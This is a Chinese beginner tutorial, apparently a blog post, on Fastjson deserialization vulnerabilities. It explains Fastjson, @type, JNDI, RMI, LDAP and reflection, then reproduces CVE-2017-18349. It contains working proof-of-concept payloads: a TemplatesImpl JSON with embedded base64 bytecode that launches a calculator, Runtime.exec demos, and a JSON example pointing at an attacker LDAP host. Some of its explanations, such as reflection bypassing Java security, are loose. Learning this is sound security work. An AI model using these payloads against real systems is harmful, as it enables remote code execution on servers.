零、前言与目录
我在学习Java
漏洞的时候,感觉很痛苦,不知道从何学起,因为我的Java
基础实在是太烂了,而且网上的关于这方面的文章,要么就给我这个初学者一种高深莫测、没多少基础就没法理解的感觉,要么就是写的实在是太过简略,没有系统性强、通俗易懂、小白友好的文章,于是我决定自己死磕,遇到不会的就去百度、谷歌、问chatgpt
以及问Java
安全大牛师傅们,于是就有了这一系列的文章。
本文作为Java
安全亲妈级零基础教程的第一篇Fastjson
漏洞的基础篇,从前置知识开始讲起,然后过渡到漏洞的复现和代码的分析,本文一共近18000
字,配图108
张,配图足够详细清除,跟着复现分析基本可以搞明白这些漏洞是怎么一回事。提高篇会重点研究Fastjson
的其他payload
和Fastjson
的不出网利用上,会在下一次更新。
我在学习Fastjson
相关漏洞的时候,掌握基础之后再看师傅们的分析文章,常常不由得拍手称快,心里由衷地佩服发现这些利用链的师傅们,利用链是如此的巧妙,和开发者们之间的一攻一防真是让人觉得酣畅淋漓,精彩不绝。在写这系列的文章的时候,我常常能进入到久违的”心流“状态,丝毫感觉不到时间的流逝,版本之间的不同、开发者和白帽子之间对弈的场景与时间轴仿佛就呈现在我的眼前,如同过电影一般,快哉快哉!
在学习的过程中,我阅读参考了数十篇师傅的文章,这些都被我列在文末,以表感谢。
本文写作的时候,由于经常熬夜,出错之处在所难免,还望师傅们指出来,我会在下篇文章的开头感谢提出来的师傅们!
欢迎师傅们添加我的微信,拉交流群:
本文目录:
零、前言与目录一、前置知识 1. fastjson怎么用? (1)在IDEA中新建一个maven项目,并引入fastjson依赖 (2)一个简单的demo (3)更进一步改动理解上述demo代码 ①问题1:Person person2 = JSON.parseObject(jsonString2, Person.class);
这里为什么可以直接使用Person.class
来进行映射? ②问题2:为什么我初始化对象的时候,代码明明写的是Person person = new Person("Alice", 18);
,name
在前,age
在后,怎么转化成json
字符串的时候就变成了age
在前,name
在后了? 2. @type是什么东西?如何反序列化带@type的json字符串? 3. JNDI是什么东西? (1)整一个tomcat容器,并在容器中配置数据源 (2)去IDEA里面配置web (3)跑jndi的demo代码,感受jndi的用处 4. RMI是什么东西? (1)通过一个demo快速认识rmi是如何调用的 (2)深入理解rmi 5. ldap是什么? (1)安装并配置ldap服务器 (2)通过公司-员工管理的例子来理解Fastjson系列漏洞中ldap的作用 6. java反射是什么? (1)通过demo快速理解反射问题:我还是觉得你给出的例子体现不出灵活,怎么办? (2)【关键!】和漏洞之间的联系?二、漏洞学习 1. fastjson<=1.2.24 反序列化漏洞(CVE-2017-18349)(学习TemplatesImpl链的相关知识) (1)漏洞简单复现 (2)漏洞成因分析 ①问题1:为什么要继承AbstractTranslet
类? ②为什么要这么构造json
? 2. fastjson 1.2.25 反序列化漏洞(学习JdbcRowSetImpl链的相关知识) (1)黑白名单机制介绍 (2)黑白名单绕过的复现 (3)对两种poc绕过手法的分析 ①第一种poc(1.2.25-1.2.47通杀!!!) ②第二种poc (4)关于JdbcRowSetImpl链利用的分析 3. fastjson 1.2.42 反序列化漏洞 4. fastjson 1.2.43 反序列化漏洞 5. fastjson 1.2.44 mappings缓存导致反序列化漏洞 6. fastjson 1.2.47 mappings缓存导致反序列化漏洞 7.fastjson 1.2.68 反序列化漏洞四、参考与致谢
一、前置知识
1. fastjson怎么用?
fastjson
是啥百度就有,看了之后不熟悉的人还是会一脸懵逼,我们可以通过以下这个小例子来快速学会使用fastjson
。我们分为以下几个步骤来进行:
(1)在IDEA中新建一个maven项目,并引入fastjson依赖
选择Maven
,然后给随便取个名字,例如我起名fastjson_research
。然后在pom.xml这里的末尾,添加如下内容:
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.50</version>
</dependency>
</dependencies>
具体Maven
的各个依赖的详细信息我们可以在这个网站上面查得到:
https://mvnrepository.com/artifact/com.alibaba/fastjson/1.2.50
然后点击右侧的Maven
,然后点击Reload All Maven Projects
:
(2)一个简单的demo
package org.example;
import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) {
// 将一个 Java 对象序列化为 JSON 字符串
Person person = new Person("Alice", 18);
String jsonString = JSON.toJSONString(person);
System.out.println(jsonString);
// 将一个 JSON 字符串反序列化为 Java 对象
String jsonString2 = "{"age":20,"name":"Bob"}";
Person person2 = JSON.parseObject(jsonString2, Person.class);
System.out.println(person2.getName() + ", " + person2.getAge());
}
// 定义一个简单的 Java 类
public static class Person {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
}
}
运行之后输出结果如下:通过以上代码我们可以看到,我们定义了一个Person
类,并设置了两个属性age
以及name
,以及简单定义了四个方法。我们通过Person person = new Person("Alice", 18);
来初始化对象,再通过String jsonString = JSON.toJSONString(person);
去把对象转化为json
字符串,非常方便快捷;完事之后,我们又可以通过Person person2 = JSON.parseObject(jsonString2, Person.class);
把json
字符串转换为Java
对象,非常简单快捷。
(3)更进一步改动理解上述demo代码
其实上面给出的代码是有一些问题的,这个问题并不是指代码本身错误。
①问题1:Person person2 = JSON.parseObject(jsonString2, Person.class);
这里为什么可以直接使用Person.class
来进行映射?
在使用fastjson
时,我们需要先将JSON
字符串和Java
对象之间建立映射关系,可以通过类的属性和JSON
字段名进行映射。在我们上面的代码中,Java
类的属性名和JSON
字段名是相同的,因此可以直接使用Person.class
来进行映射。如果不同我们该怎么办?我们可以通过使用注解来指定它们之间的映射关系。在fastjson
中,可以使用@JSONField
注解来指定Java
类的属性和JSON
字段之间的映射关系。请看以下demo
代码:
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.annotation.JSONField;
public class Main {
public static void main(String[] args) {
// 将一个 Java 对象序列化为 JSON 字符串
Person person = new Person("Alice", 18);
String jsonString = JSON.toJSONString(person);
System.out.println(jsonString);
// 将一个 JSON 字符串反序列化为 Java 对象
String jsonString2 = "{"user_name":"Bob","user_age":20}";
Person person2 = JSON.parseObject(jsonString2, Person.class);
System.out.println(person2.getName() + ", " + person2.getAge());
}
// 定义一个简单的 Java 类
public static class Person {
@JSONField(name = "user_name")
private String name;
@JSONField(name = "user_age")
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
}
可以看到,我们在定义name
和age
的时候,在上面分别加入了一行@JSONField(name = "user_name")
和@JSONField(name = "user_age")
,这样一来,即使我们输入的字符串中写的是user_name
和user_age
,它也能被识别解析到。
②问题2:为什么我初始化对象的时候,代码明明写的是Person person = new Person("Alice", 18);
,name
在前,age
在后,怎么转化成json
字符串的时候就变成了age
在前,name
在后了?
原来,在fastjson
中,默认情况下,生成的JSON
字符串的顺序是按照属性的字母顺序进行排序的,而不是按照属性在类中的声明顺序。如果我们希望按照属性在类中的声明顺序来生成JSON
字符串,可以通过在类中使用@JSONType
注解来设置属性的序列化顺序,请看下面的代码:
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.annotation.JSONType;
public class Main {
public static void main(String[] args) {
// 将一个 Java 对象序列化为 JSON 字符串
Person person = new Person("Alice", 18);
String jsonString = JSON.toJSONString(person);
System.out.println(jsonString);
// 将一个 JSON 字符串反序列化为 Java 对象
String jsonString2 = "{"name":"Bob","age":20}";
Person person2 = JSON.parseObject(jsonString2, Person.class);
System.out.println(person2.getName() + ", " + person2.getAge());
}
// 定义一个简单的 Java 类
@JSONType(orders = {"name", "age"})
public static class Person {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
}
我们通过@JSONType(orders = {"name", "age"})
来指定属性的序列化顺序,这样就是name
在前,age
在后了。
2. @type是什么东西?如何反序列化带@type的json字符串?
参考:https://www.cnblogs.com/nice0e3/p/14601670.html
我们在网上看到了很多讲fastjson
反序列化漏洞的文章,里面都提到了@type
,那么它到底是什么呢?@type
是fastjson
中的一个特殊注解,用于标识JSON
字符串中的某个属性是一个Java
对象的类型。具体来说,当fastjson
从JSON
字符串反序列化为Java
对象时,如果JSON
字符串中包含@type
属性,fastjson
会根据该属性的值来确定反序列化后的Java
对象的类型。请看以下代码:
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.IOException;
public class Main {
public static void main(String[] args) throws IOException {
String json = "{"@type":"java.lang.Runtime","@type":"java.lang.Runtime","@type":"java.lang.Runtime"}";
ParserConfig.getGlobalInstance().addAccept("java.lang");
Runtime runtime = (Runtime) JSON.parseObject(json, Object.class);
runtime.exec("calc.exe");
}
}
可以看到直接弹窗了:由于fastjson
在1.2.24
之后默认禁用Autotype,因此这里我们通过ParserConfig.getGlobalInstance().addAccept("java.lang");
来开启,否则会报错autoType is not support
。我们再看这样的一个demo
:首先是类的定义,例如我们的Person.java
:
package org.example;
public class Person {
private String name;
private int age;
public Person() {}
@Override
public String toString() {
return "Person{" +
"name='" + name + ''' +
", age=" + age +
'}';
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
然后是Main.java
:
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Main {
public static void main(String[] args) {
Person user = new Person();
user.setAge(18);
user.setName("xiaoming");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1);
}
}
输出结果为:在和前面代码做对比后,可以发现其实就是在调用toJSONString
方法的时候,参数里面多了一个SerializerFeature.WriteClassName
方法。传入SerializerFeature.WriteClassName
可以使得Fastjson
支持自省,开启自省后序列化成JSON
的数据就会多一个@type
,这个是代表对象类型的JSON
文本。FastJson
的漏洞就是他的这一个功能去产生的,在对该JSON
数据进行反序列化的时候,会去调用指定类中对于的get/set/is
方法, 后面会详细分析。然后我们就可以通过以下三种方式来反序列化json
字符串了:
// 方法一(返回JSONObject对象):
Person user = new Person();
user.setAge(18);
user.setName("xiaoming");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
JSONObject jsonObject = JSON.parse(s1);
System.out.println(jsonObject);
// 方法二:
Person user = new Person();
user.setAge(18);
user.setName("xiaoming");
String s = JSON.toJSONString(user);
Person user1 = JSON.parseObject(s, Person.class);
System.out.println(user1);
// 方法三:
Person user = new Person();
user.setAge(18);
user.setName("xiaoming");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
Person user1 = JSON.parseObject(s1,Person.class);
System.out.println(user1);
执行结果都是一样的:
Person{name='xiaoming', age=18}
3. JNDI是什么东西?
JNDI
是Java
平台的一种API
,它提供了访问各种命名和目录服务的统一方式。JNDI
通常用于在JavaEE
应用程序中查找和访问资源,如JDBC
数据源、JMS
连接工厂和队列等。光这么说还是太抽象了,直接上例子。如果我们想要搭建一个jndi
的环境,我们需要这么做:首先需要说明的是我Java
版本是17
,如果不是的话需要安装配置,不然后面的可能会报错,百度谷歌都没用的那种。
(1)整一个tomcat容器,并在容器中配置数据源
打开[https://tomcat.apache.org/](https://tomcat.apache.org/)
,然后点击Download
:这里直接选择下载64
位Windows
的压缩包:下载链接:https://dlcdn.apache.org/tomcat/tomcat-11/v11.0.0-M4/bin/apache-tomcat-11.0.0-M4-windows-x64.zip解压之后,可以给改一个简洁一点的名字,例如tomcat
,然后把bin
目录放到环境变量中,如下图:然后再新建一个名为CATALINA_HOME
的路径,值为tomcat
的根目录,例如我的:除此之外,没有配置JAVA_HOME
和JRE_HOME
的也要在用户变量中配置一下,需要注意的是,我这里貌似需要安装并配置Java17
,否则一直闪退无法启动:双击tomcat
的bin
目录下的startup.bat
,然后访问[http://localhost:8080/](http://localhost:8080/)
,就可以看到服务启动成功了:然后配置tomcat
目录下的context.xml
(tomcat7
及以前则是配置server.xml
):
<Resource name="jdbc/security" auth="Container" type="javax.sql.DataSource"
maxTotal="100" maxIdle="30" maxWaitMillis="10000"
username="root" password="123456" driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/security"/>
可以根据自己本地开启的mysql
的实际情况来改,我这里是使用phpstudy
来安装开启mysql
的:然后继续配置tomcat
的conf
目录下的web.xml
:
<resource-ref>
<description>Test DB Connection</description>
<res-ref-name>jdbc/root</res-ref-name>
<res-type>javax.sql.DataSource</res-type>
<res-auth>Container</res-auth>
</resource-ref>
(2)去IDEA里面配置web
首先先新建一个项目,我命名为jndi_demo
:接着配置tomcat
:这里我选择了8089
端口,因为我8080
端口之前被我占用了:然后:然后填写代码运行配置:
(3)跑jndi的demo代码,感受jndi的用处
然后贴上如下代码:
package org.example;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.sql.DataSource;
import java.io.IOException;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.Statement;
@WebServlet("/test")
public class Test extends HttpServlet {
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
// 获取JNDI上下文
Context ctx = new InitialContext();
// 查找数据源
Context envContext = (Context) ctx.lookup("java:/comp/env");
DataSource ds = (DataSource) envContext.lookup("jdbc/security");
// 获取连接
Connection conn = ds.getConnection();
System.out.println("[+] success!");
// 执行查询
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from security.emails;");
// 处理结果集
while (rs.next()) {
System.out.println(rs.getString("email_id"));
}
// 关闭连接
rs.close();
stmt.close();
conn.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
成功跑起来了:然后访问[http://localhost:6063/test](http://localhost:6063/test)
:没有出现404
,说明WebServlet
拦截成功,回到idea
,发现查询成功:
4. RMI是什么东西?
(1)通过一个demo快速认识rmi是如何调用的
RMI
指的是远程方法调用(Remote Method Invocation
),是Java
平台提供的一种机制,可以实现在不同Java
虚拟机之间进行方法调用。这么说是真抽象,我们直接看下面使用了RMI
的demo
代码,包括一个服务器端和一个客户端。这个demo
实现了一个简单的计算器程序,客户端通过RMI
调用服务器端的方法进行加、减、乘、除四则运算。首先是一个计算器接口:
package org.example;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Calculator extends Remote {
public int add(int a, int b) throws RemoteException;
public int subtract(int a, int b) throws RemoteException;
public int multiply(int a, int b) throws RemoteException;
public int divide(int a, int b) throws RemoteException;
}
然后是客户端代码:
package org.example;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
private Client() {}
public static void main(String[] args) {
try {
// Get the registry
Registry registry = LocateRegistry.getRegistry("localhost", 1060);
// Lookup the remote object "Calculator"
Calculator calc = (Calculator) registry.lookup("Calculator");
// Call the remote method
int result = calc.add(5, 7);
// Print the result
System.out.println("Result: " + result);
} catch (Exception e) {
System.err.println("Client exception: " + e.toString());
e.printStackTrace();
}
}
}
接着是服务端代码:
package org.example;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class Server extends UnicastRemoteObject implements Calculator {
public Server() throws RemoteException {}
@Override
public int add(int x, int y) throws RemoteException {
return x + y;
}
@Override
public int subtract(int a, int b) throws RemoteException {
return 0;
}
@Override
public int multiply(int a, int b) throws RemoteException {
return 0;
}
@Override
public int divide(int a, int b) throws RemoteException {
return 0;
}
public static void main(String args[]) {
try {
Server obj = new Server();
LocateRegistry.createRegistry(1060);
Registry registry = LocateRegistry.getRegistry(1060);
registry.bind("Calculator", obj);
System.out.println("Server ready");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
然后开始跑程序,不需要做任何配置。先把服务端跑起来:然后客户端这里就可以直接运行5+7
的结果了:
(2)深入理解rmi
建议直接看素十八师傅的博客以及天下大木头的微信公众号文章,写的真的是太好了,都是适合细细品味的文章。
https://su18.org/post/rmi-attack/https://mp.weixin.qq.com/s/wYujicYxSO4zqGylNRBtkA
5. ldap是什么?
LDAP
是轻型目录访问协议的缩写,是一种用于访问和维护分层目录信息的协议。在Java
安全中,LDAP
通常用于集成应用程序与企业目录服务(例如Microsoft Active Directory
或OpenLDAP
)的认证和授权功能。使用Java
的LDAP API
,我们可以编写LDAP
客户端来执行各种LDAP
操作,如绑定(bind
)到LDAP
服务器、搜索目录、添加、修改和删除目录条目等。Java LDAP API
支持使用简单绑定(simple bind
)或Kerberos
身份验证(Kerberos authentication
)进行LDAP
身份验证。Java
应用程序可以使用LDAP
来实现单点登录和跨域身份验证,并与其他应用程序和服务共享身份验证信息。LDAP
还可以用于管理用户、组和权限,以及存储和管理应用程序配置信息等。总结:Java
中的LDAP
是一种使用Java
编写LDAP
客户端来集成企业目录服务的技术,可以提供安全的身份验证和授权功能,以及方便的用户和配置管理。这么说还是太抽象了,我们还是看一个demo
来快速熟悉一下吧。
(1)安装并配置ldap服务器
这里我们选择OpenLDAP
来进行安装。官网只提供了Linux
版本,我们可以去德国公司maxcrc
的官网上面去下载openldap for windows
:
https://www.maxcrc.de/en/download-en/
这里我们选择64
位的,懒人链接:https://www.maxcrc.de/wp-content/uploads/2020/04/OpenLDAPforWindows_x64.zip然后参考这篇文章进行安装:
https://blog.csdn.net/oscar999/article/details/108654461
成功启动ldap
服务:顺便一提,在Windows上可以使用LDAP Browser来快速浏览查看查询,官网及下载地址如下:
https://ldapbrowserwindows.com/https://ldapclient.com/downloads610/LdapBrowser-6.10.x-win-x86-Setup.msi
啪的一下就连接上了,快啊,很快啊:
(2)通过公司-员工管理的例子来理解Fastjson系列漏洞中ldap的作用
假设有一个名为”example.com
“的公司,需要存储和管理员工信息。他们使用LDAP
作为员工信息的目录服务,每个员工都在LDAP
中有一个唯一的标识符(DN
)。这里我们举两个员工例子:
DN: uid=john,ou=People,dc=example,dc=com
cn: John Doe
sn: Doe
givenName: John
uid: john
userPassword: {SHA}W6ph5Mm5Pz8GgiULbPgzG37mj9g=
DN: uid=alice,ou=People,dc=example,dc=com
cn: Alice Smith
sn: Smith
givenName: Alice
uid: alice
userPassword: {SHA}W6ph5Mm5Pz8GgiULbPgzG37mj9g=
在LDAP
中,DN
是一个唯一的标识符,它类似于文件系统中的路径。每个DN
由多个RDN
(相对区分名称)组成,例如:
uid=john,ou=People,dc=example,dc=com
这个DN
由三个RDN
组成:uid=john
、ou=People
、dc=example,dc=com
。可以使用如下LDAP
查询语句来检索员工信息,例如:(&(objectClass=person)(uid=john))
这个查询语句表示查找所有objectClass
为person
,且uid
为john
的员工信息。在LDAP
中,查询语句使用LDAP
搜索过滤器(LDAP Search Filter
)进行筛选。在Fastjson
漏洞中,攻击者可以通过构造特定的LDAP
查询语句,来执行任意代码或获取敏感信息。例如,以下JSON
字符串包含一个恶意构造的LDAP URL
:
{"@type":"java.net.URL","val":"ldap://hackervps.com/exp"}
当Fastjson
解析该JSON
字符串时,会触发LDAP
查询操作,查询hackervps.com
上的LDAP
服务,并执行名为“exp
”的操作。这就是Fastjson
漏洞的成因之一。
6. java反射是什么?
参考:
https://www.javasec.org/javase/Reflection/Reflection.html
(1)通过demo快速理解反射
如果我们不用反射的话,我们写的代码会是下面这样:Person.java
:
package org.example;
public class Person {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public void sayHello() {
System.out.println("Hello, my name is " + name + ", I'm " + age + " years old.");
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + ''' +
", age=" + age +
'}';
}
}
Main.java
:
package org.example;
public class Main {
public static void main(String[] args) {
// 创建Person对象
Person person = new Person("张三", 20);
// 调用Person对象的sayHello方法
person.sayHello();
// 修改Person对象的age属性
person.setAge(30);
// 输出修改后的Person对象信息
System.out.println(person);
}
}
运行结果如下:可以看到,我们一开始设置人的名字为张三,年龄为20
,然后我们通过setAge
方法来修改Person
的Age
属性,把年龄改成30
。但是这么写是有问题的,因为我们不可能总是在编译之前就已经确定好我们要具体改什么值了,我们更希望这个值可以动态变化,所以需要用到Java
反射技术。我们可以修改上面的Main.py
为如下内容:
package org.example;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Main {
public static void main(String[] args) throws Exception {
// 获取Person类的Class对象
Class<?> clazz = Class.forName("org.example.Person");
// 创建Person对象
Constructor<?> constructor = clazz.getConstructor(String.class, int.class);
Object person = constructor.newInstance("张三", 20);
// 调用Person对象的sayHello方法
Method method = clazz.getMethod("sayHello");
method.invoke(person);
// 修改Person对象的age属性
Field field = clazz.getDeclaredField("age");
field.setAccessible(true);
field.set(person, 30);
// 输出修改后的Person对象信息
System.out.println(person);
}
}
这样我们就可以来动态创建对象、调用方法以及修改属性等。
问题:我还是觉得你给出的例子体现不出灵活,怎么办?
不急,我们来看这么个例子:假设我们有一个配置文件,里面记录了类的名称、方法名、属性名等信息,我们可以在运行时读取配置文件,然后使用Java
反射机制来创建对象、调用方法、修改属性等。这样就可以实现在不修改代码的情况下,根据配置文件来动态地创建对象、调用方法、修改属性,这样不就是很灵活很方便了么?我们来尝试用代码实现下。先建立一个配置文件,比如叫做config.properties
,填写如下信息:
class=org.example.Person
method=sayHello
field=age
value=30
name=W01fh4cker
然后修改Main.java
:
package org.example;
import java.io.FileInputStream;
import java.util.Properties;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Main {
public static void main(String[] args) throws Exception {
// 读取配置文件
Properties props = new Properties();
props.load(new FileInputStream("config.properties"));
// 获取类的名称、方法名、属性名、属性值、姓名
String className = props.getProperty("class");
String methodName = props.getProperty("method");
String fieldName = props.getProperty("field");
String fieldValue = props.getProperty("value");
String name = props.getProperty("name");
// 获取类的Class对象
Class<?> clazz = Class.forName(className);
// 获取类的有参构造方法
Constructor<?> constructor = clazz.getConstructor(String.class, int.class);
// 创建类的对象
Object obj = constructor.newInstance(name, 0);
// 调用方法
Method method = clazz.getMethod(methodName);
method.invoke(obj);
// 修改属性
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, Integer.parseInt(fieldValue));
// 输出修改后的对象信息
System.out.println(obj);
}
}
运行结果为:
(2)【关键!】和漏洞之间的联系?
前面讲了这么多关于反射的内容,可能很多初学者和我现在一样,处于一脸懵逼的状态,为什么要用到反射,而不是直接调用java.lang.runtime
来执行命令?例如我们平时经常这么玩:
package org.example;
import org.apache.commons.io.IOUtils;
public class Main {
public static void main(String[] args) throws Exception {
System.out.println(IOUtils.toString(Runtime.getRuntime().exec("calc.exe").getInputStream(), "UTF-8"));
}
}
要运行上述代码,需要在maven中引入如下依赖:
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.11.0</version>
</dependency>
需要注意的是,要在上述依赖的上线加入<dependencies></dependencies>
,如下图,然后点击如下图标来自动安装依赖:然后运行程序,就会弹出计算器了:这么做不就是可以执行命令了吗,为什么还要搞反射呢?原来,**Java**
安全机制会对代码的执行进行限制,例如限制代码的访问权限、限制代码的资源使用等。如果代码需要执行一些危险的操作,例如执行系统命令,就需要获取**Java**
的安全权限。获取**Java**
的安全权限需要经过一系列的安全检查,例如检查代码的来源、检查代码的签名等。如果代码没有通过这些安全检查,就无法获取**Java**
的安全权限,从而无法执行危险的操作。然而,反射机制可以绕过**Java**
安全机制的限制,比如可以访问和修改类的私有属性和方法,可以调用类的私有构造方法,可以创建和访问动态代理对象等。这些操作都是**Java**
安全机制所禁止的,但是反射机制可以绕过这些限制,从而执行危险的操作。原来如此!好了,现在来学习如何使用反射调用java.lang.runtime
来执行命令,由于Java9之后,模块化系统被引入,模块化系统会限制反射的使用,从而提高Java
应用程序的安全性,因此我们要区分版本来学习!为了方便演示,我重新建立了一个项目,并使用Java8
。我们先看如下代码:
// Java version: 8
package org.example;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
public class Main {
public static void main(String[] args) throws Exception {
Class<?> runtimeClass = Class.forName("java.lang.Runtime");
Method execMethod = runtimeClass.getMethod("exec", String.class);
Process process = (Process) execMethod.invoke(Runtime.getRuntime(), "calc.exe");
InputStream in = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(in));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
}
}
成功执行:然后再看在Java17
下的执行反射的代码:
// // Java version: 17
package org.example;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
public class Main {
public static void main(String[] args) throws Throwable {
// 获取Runtime类对象
Class<?> runtimeClass = Class.forName("java.lang.Runtime");
MethodHandle execMethod = MethodHandles.lookup().findVirtual(runtimeClass, "exec", MethodType.methodType(Process.class, String.class));
Process process = (Process) execMethod.invokeExact(Runtime.getRuntime(), "calc.exe");
InputStream in = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(in));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
}
}
执行结果:
二、漏洞学习
1. fastjson<=1.2.24 反序列化漏洞(CVE-2017-18349)(学习TemplatesImpl链的相关知识)
(1)漏洞简单复现
我们看以下案例:首先创建一个maven
项目、导入Fastjson1.2.23
并自动下载相关依赖(怎么自动下载的见上文配图):然后写入如下代码至Main.java
(此时已经不需要Person.java
了):
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}";
Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
}
}
运行之后直接弹出计算器:
